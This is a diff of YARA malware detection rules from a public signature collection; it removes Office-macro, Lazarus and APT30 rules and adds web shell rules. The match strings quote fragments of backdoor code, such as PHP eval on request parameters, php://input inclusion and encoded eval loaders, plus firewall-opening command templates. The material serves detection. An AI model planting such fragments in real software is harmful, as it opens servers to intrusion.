-		id = "9774d96c-4d15-5a54-8fe2-e06372d9c4ec"
-		date = "2015-05-28"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/general_officemacros.yar#L2-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "23c834828e7a9ea966e5d7247881bbbf9180b8f08297e36cd36d2ba5f621c70d"
-		score = 40
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1012-L1026"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7c5b1b30196c51f1accbffb80296395f"
+		logic_hash = "f274061f1a02ab65bc574a6586343f74262a463c5200cd2c231a752f54967404"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4d00695d5011427efc33c9722c61ced2"
-		hash2 = "63f6b20cb39630b13c14823874bd3743"
-		hash3 = "66e67c2d84af85a569a04042141164e6"
-		hash4 = "a3035716fe9173703941876c2bde9d98"
-		hash5 = "7c06cab49b9332962625b16f15708345"
-		hash6 = "bfc30332b7b91572bfe712b656ea8a0c"
-		hash7 = "25285b8fe2c41bd54079c92c1b761381"
 
 	strings:
-		$s1 = "AutoOpen" ascii fullword
-		$s2 = "Macros" wide fullword
+		$s1 = "if (md5($_GET['usr'])==$user && md5($_GET['pass'])==$pass)" fullword
+		$s3 = "{eval($_GET['idc']);}" fullword
 
 	condition:
-		( uint32be(0)==0xd0cf11e0 or uint32be(0)==0x504b0304) and all of ($s*) and filesize <300000
+		1 of them
 }
-rule SIGNATURE_BASE_Office_As_MHTML : CVE_2012_0158 FILE
+rule SIGNATURE_BASE_Webshell_Cpg_143_Incl_Xpl
 {
 	meta:
-		description = "Detects an Microsoft Office saved as a MHTML file (false positives are possible but rare; many matches on CVE-2012-0158)"
+		description = "Web Shell - file cpg_143_incl_xpl.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "21c0c3da-7295-54ad-9947-557a3180af3a"
-		date = "2015-05-28"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www.trustwave.com/Resources/SpiderLabs-Blog/Malicious-Macros-Evades-Detection-by-Using-Unusual-File-Format/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/general_officemacros.yar#L28-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d5836a9c627e2e6833ea9e27526c76c00fc1fcf1fca8ea10777aa6f4bcc25053"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1027-L1041"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5937b131b67d8e0afdbd589251a5e176"
+		logic_hash = "7c2ce25c33e167761d72331d7c4d4f7cd6029ee0caf6e2008df8b12894faaaf8"
+		score = 70
 		quality = 85
-		tags = "CVE-2012-0158, FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8391d6992bc037a891d2e91fd474b91bd821fe6cb9cfc62d1ee9a013b18eca80"
-		hash2 = "1ff3573fe995f35e70597c75d163bdd9bed86e2238867b328ccca2a5906c4eef"
-		hash3 = "d44a76120a505a9655f0224c6660932120ef2b72fee4642bab62ede136499590"
-		hash4 = "5b8019d339907ab948a413d2be4bdb3e5fdabb320f5edc726dc60b4c70e74c84"
 
 	strings:
-		$s1 = "Content-Transfer-Encoding: base64" ascii fullword
-		$s2 = "Content-Type: application/x-mso" ascii fullword
-		$x1 = "QWN0aXZlTWltZQA" ascii
-		$x2 = "0M8R4KGxGuE" ascii
+		$s3 = "$data=\"username=\".urlencode($USER).\"&password=\".urlencode($PA"
+		$s5 = "fputs($sun_tzu,\"<?php echo \\\"Hi Master!\\\";ini_set(\\\"max_execution_time"
 
 	condition:
-		uint32be(0)==0x4d494d45 and all of ($s*) and 1 of ($x*)
+		1 of them
 }
-rule SIGNATURE_BASE_Docm_In_PDF : FILE
+rule SIGNATURE_BASE_Webshell_Mumaasp_Com
 {
 	meta:
-		description = "Detects an embedded DOCM in PDF combined with OpenAction"
+		description = "Web Shell - file mumaasp.com.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "08dfdfda-8ea5-530d-b89b-560415855080"
-		date = "2017-05-15"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/general_officemacros.yar#L52-L66"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "045cde0e8f9e0881c2caece7d5660e165aa67b43bed2ba6d4929951497d76494"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1042-L1055"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cce32b2e18f5357c85b6d20f564ebd5d"
+		logic_hash = "75e2a056782190e9914264b9e34002faea75a35ab0f97bf1e05dec15432d064c"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = /<<\/Names\[\([\w]{1,12}.docm\)/ ascii
-		$a2 = "OpenAction" ascii fullword
-		$a3 = "JavaScript" ascii fullword
+		$s0 = "&9K_)P82ai,A}I92]R\"q!C:RZ}S6]=PaTTR"
 
 	condition:
-		uint32(0)==0x46445025 and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT_NK_Lazarus_RC4_Loop : FILE
+rule SIGNATURE_BASE_Webshell_Php_404
 {
 	meta:
-		description = "Detects RC4 loop in Lazarus Group implant"
-		author = "f-secure "
-		id = "a9503795-b4b8-505e-a1bf-df64ec8c1c32"
-		date = "2020-06-10"
+		description = "Web Shell - file 404.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://labs.f-secure.com/publications/ti-report-lazarus-group-cryptocurrency-vertical"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_aug20.yar#L2-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b0e96bfff924a0c9b39e1ab03097ae0790743417d9da70917d64bc238905971e"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1056-L1069"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ced050df5ca42064056a7ad610a191b3"
+		logic_hash = "3fc928e6edda8fdc4220f57215db61b7fbf8de5b00423b219a173c8ecde40b79"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$str_rc4_loop = { 41 FE 8? 00 01 00 00 45 0F B6 ?? 00 01 00 00 48
-                        FF C? 43 0F B6 0? ?? 41 00 8? 01 01 00 00 41 0F
-                        B6 ?? 01 01 00 00 }
+		$s0 = "$pass = md5(md5(md5($pass)));" fullword
 
 	condition:
-		int16 (0)==0x5a4d and filesize <3000KB and $str_rc4_loop
+		all of them
 }
-rule SIGNATURE_BASE_APT_NK_Lazarus_Network_Backdoor_Unpacked : FILE
+rule SIGNATURE_BASE_Webshell_Webshell_Cnseay_X
 {
 	meta:
-		description = "Detects unpacked variant of Lazarus Group network backdoor"
-		author = "f-secure"
-		id = "8eda9e74-1a19-5510-82d8-cd2eb324629c"
-		date = "2020-06-10"
+		description = "Web Shell - file webshell-cnseay-x.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://labs.f-secure.com/publications/ti-report-lazarus-group-cryptocurrency-vertical"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_aug20.yar#L17-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bfc3cf400eeea332e2e44b65f9728e94af0adde76b32ed4be527b25484f80745"
-		score = 75
-		quality = 75
-		tags = "FILE"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1070-L1083"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a0f9f7f5cd405a514a7f3be329f380e5"
+		logic_hash = "59cb8b8a5873b716a25096c7b12f09293a812b63f31fea07d919b9c4d2bc9a19"
+		score = 70
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$str_netsh_1 = "netsh firewall add portopening TCP %d" ascii wide nocase
-		$str_netsh_2 = "netsh firewall delete portopening TCP %d" ascii wide nocase
-		$str_mask_1 = "cmd.exe /c \"%s >> %s 2>&1\"" ascii wide
-		$str_mask_2 = "cmd.exe /c \"%s 2>> %s\"" ascii wide
-		$str_mask_3 = "%s\\%s\\%s" ascii wide
-		$str_other_1 = "perflog.dat" ascii wide nocase
-		$str_other_2 = "perflog.evt" ascii wide nocase
-		$str_other_3 = "cbstc.log" ascii wide nocase
-		$str_other_4 = "LdrGetProcedureAddress" ascii
-		$str_other_5 = "NtProtectVirtualMemory" ascii
+		$s9 = "$_F_F.='_'.$_P_P[5].$_P_P[20].$_P_P[13].$_P_P[2].$_P_P[19].$_P_P[8].$_P_"
 
 	condition:
-		int16 (0)==0x5a4d and filesize <3000KB and 1 of ($str_netsh*) and 1 of ($str_mask*) and 1 of ($str_other*)
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Generic_H : FILE
+rule SIGNATURE_BASE_Webshell_Asp_Up
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file up.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1908e985-9634-51dc-8972-53afa13c26a3"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L10-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e4affe7dc01efc4d6c25aaae4679bc1f8fddd97794e351d30501eaeb8e1d1dea"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1084-L1098"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f775e721cfe85019fe41c34f47c0d67c"
+		logic_hash = "dff2896d2226ade08e74147121a0e0036e8545dfff36b48b5a0771c9c7d537e9"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2a4c8752f3e7fde0139421b8d5713b29c720685d"
-		hash2 = "4350e906d590dca5fcc90ed3215467524e0a4e3d"
 
 	strings:
-		$s0 = "\\Temp1020.txt" ascii
-		$s1 = "Xmd.Txe" fullword ascii
-		$s2 = "\\Internet Exp1orer" ascii
+		$s0 = "Pos = InstrB(BoundaryPos,RequestBin,getByteString(\"Content-Dispositio"
+		$s1 = "ContentType = getString(MidB(RequestBin,PosBeg,PosEnd-PosBeg))" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_APT30_Sample_2 : FILE
+rule SIGNATURE_BASE_Webshell_Phpkit_0_1A_Odd
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file odd.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "821a2de9-48c4-58d8-acc4-1e25025ab5cf"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L28-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0359ffbef6a752ee1a54447b26e272f4a5a35167"
-		logic_hash = "e34dbb90fc868b0619d3d2aa1b6176252836a6ae72e6f52b1eba632054f7c272"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1099-L1115"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3c30399e7480c09276f412271f60ed01"
+		logic_hash = "745734658ed4000e1399531ae44125f8462ecd37388e6223cfa9bf91dbb52bbc"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "ForZRLnkWordDlg.EXE" fullword wide
-		$s1 = "ForZRLnkWordDlg Microsoft " fullword wide
-		$s9 = "ForZRLnkWordDlg 1.0 " fullword wide
-		$s11 = "ForZRLnkWordDlg" fullword wide
-		$s12 = " (C) 2011" fullword wide
+		$s1 = "include('php://input');" fullword
+		$s3 = "ini_set('allow_url_include, 1'); // Allow url inclusion in this script" fullword
+		$s4 = "// uses include('php://input') to execute arbritary code" fullword
+		$s5 = "// php://input based backdoor" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_APT30_Sample_3 : FILE
+rule SIGNATURE_BASE_Webshell_ASP_Cmd
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file cmd.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "62e81385-26f5-545d-92ff-6604ff4d0186"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L47-L64"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d0320144e65c9af0052f8dee0419e8deed91b61b"
-		logic_hash = "ee61ec1fdf27fa21bcc235fce0ab8dc74968b39a747648ce828fb4826cf1d234"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1116-L1129"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "97af88b478422067f23b001dd06d56a9"
+		logic_hash = "c1353e43876e18f18638a558a29a12d6e82603641fedd81b042adca91fea0d18"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "Software\\Mic" ascii
-		$s6 = "HHOSTR" ascii
-		$s9 = "ThEugh" fullword ascii
-		$s10 = "Moziea/" ascii
-		$s12 = "%s%s(X-" ascii
+		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Generic_C : FILE
+rule SIGNATURE_BASE_Webshell_PHP_Shell_X3
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file PHP Shell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "25ec8d54-9875-5bf5-abc9-296f18f3c5e5"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L66-L88"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b969565eac3b6f548318aae4edc8d8851f522a6c263bcaf2a466ff0ca9af78a4"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1130-L1145"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a2f8fa4cce578fc9c06f8e674b9e63fd"
+		logic_hash = "7361a7eecf345b9c1809294b6b081db8769805ec3e6c656adc4ac87261193683"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8667f635fe089c5e2c666b3fe22eaf3ff8590a69"
-		hash2 = "0c4fcef3b583d0ffffc2b14b9297d3a4"
-		hash3 = "37aee58655f5859e60ece6b249107b87"
-		hash4 = "4154548e1f8e9e7eb39d48a4cd75bcd1"
-		hash5 = "a2e0203e665976a13cdffb4416917250"
-		hash6 = "b4ae0004094b37a40978ef06f311a75e"
-		hash7 = "e39756bc99ee1b05e5ee92a1cdd5faf4"
 
 	strings:
-		$s0 = "MYUSER32.dll" fullword ascii
-		$s1 = "MYADVAPI32.dll" fullword ascii
-		$s2 = "MYWSOCK32.dll" fullword ascii
-		$s3 = "MYMSVCRT.dll" fullword ascii
+		$s4 = "&nbsp;&nbsp;<?php echo buildUrl(\"<font color=\\\"navy\\\">["
+		$s6 = "echo \"</form><form action=\\\"$SFileName?$urlAdd\\\" method=\\\"post\\\"><input"
+		$s9 = "if  ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset("
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_APT30_Sample_4 : FILE
+rule SIGNATURE_BASE_Webshell_PHP_G00Nv13
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file g00nv13.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e5c6afde-0ab5-54ed-8d18-5ad477a527d7"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L90-L108"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "75367d8b506031df5923c2d8d7f1b9f643a123cd"
-		logic_hash = "ec9542acb583bd5812d561bea70e89e0fcddc1eaef14d3ea5b8ad29711ed17ae"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1146-L1160"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "35ad2533192fe8a1a76c3276140db820"
+		logic_hash = "dd9f03a7ad0d2b73f7a8602ab267e0e8e5cb1f9250f9a25c86ded3797df2f8d5"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "GetStartupIn" ascii
-		$s1 = "enMutex" ascii
-		$s2 = "tpsvimi" ascii
-		$s3 = "reateProcesy" ascii
-		$s5 = "FreeLibr1y*S" ascii
-		$s6 = "foAModuleHand" ascii
+		$s1 = "case \"zip\": case \"tar\": case \"rar\": case \"gz\": case \"cab\": cas"
+		$s4 = "if(!($sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_p"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_5 : FILE
+rule SIGNATURE_BASE_Webshell_Php_H6Ss
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file h6ss.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bdbebe44-7423-5793-8a42-4f9b70de2231"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L110-L127"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1a2dd2a0555dc746333e7c956c58f7c4cdbabd4b"
-		logic_hash = "3738076d97bf19404bad20c2419eae83dd2b65400d5bd135ffe73362c008de9b"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1161-L1174"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "272dde9a4a7265d6c139287560328cd5"
+		logic_hash = "c4001be111ff271335dd65c15c59da979a8e202bcf58a7f10de7f03644472153"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Version 4.7.3001" fullword wide
-		$s1 = "Copyright (c) Microsoft Corporation 2004" fullword wide
-		$s3 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the U" wide
-		$s7 = "msmsgs" fullword wide
-		$s10 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii
+		$s0 = "<?php eval(gzuncompress(base64_decode(\""
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_6 : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_Zx
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file zx.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2f19809c-09fc-51bf-9a20-6b95099a92dd"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L129-L143"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "00e69b059ad6b51b76bc476a115325449d10b4c0"
-		logic_hash = "139719139056f575967629f0153e0a05239bc26f61f6d4324cfb6a816518c3df"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1175-L1188"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "67627c264db1e54a4720bd6a64721674"
+		logic_hash = "d97df624801d0f24141dfe7074d290a56e639af7d867c907362ff4434c3eeac0"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "GreateProcessA" fullword ascii
-		$s1 = "Ternel32.dll" fullword ascii
+		$s0 = "if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application.g"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_7 : FILE
+rule SIGNATURE_BASE_Webshell_Ani_Shell
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file Ani-Shell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "612732d9-8df5-5388-b299-2da4f8118435"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L145-L163"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "868d1f4c106a08bd2e5af4f23139f0e0cd798fba"
-		logic_hash = "f7922d795bc92714a9ef4861bc9c4ac9921a73749e3aa1d5f7dbc3c991fe7145"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1189-L1204"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "889bfc9fbb8ee7832044fc575324d01a"
+		logic_hash = "c8caf8686c36a41b5aae093e88b8872350cf625c59a14389c5df93f284c8f05a"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "datain" fullword ascii
-		$s3 = "C:\\Prog" ascii
-		$s4 = "$LDDATA$" ascii
-		$s5 = "Maybe a Encrypted Flash" fullword ascii
-		$s6 = "Jean-loup Gailly" ascii
-		$s8 = "deflate 1.1.3 Copyright" ascii
+		$s0 = "$Python_CODE = \"I"
+		$s6 = "$passwordPrompt = \"\\n================================================="
+		$s7 = "fputs ($sockfd ,\"\\n==============================================="
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_APT30_Generic_E : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_K8Cmd
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file k8cmd.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "69e76a59-3529-541d-9017-07e6d67fbda4"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
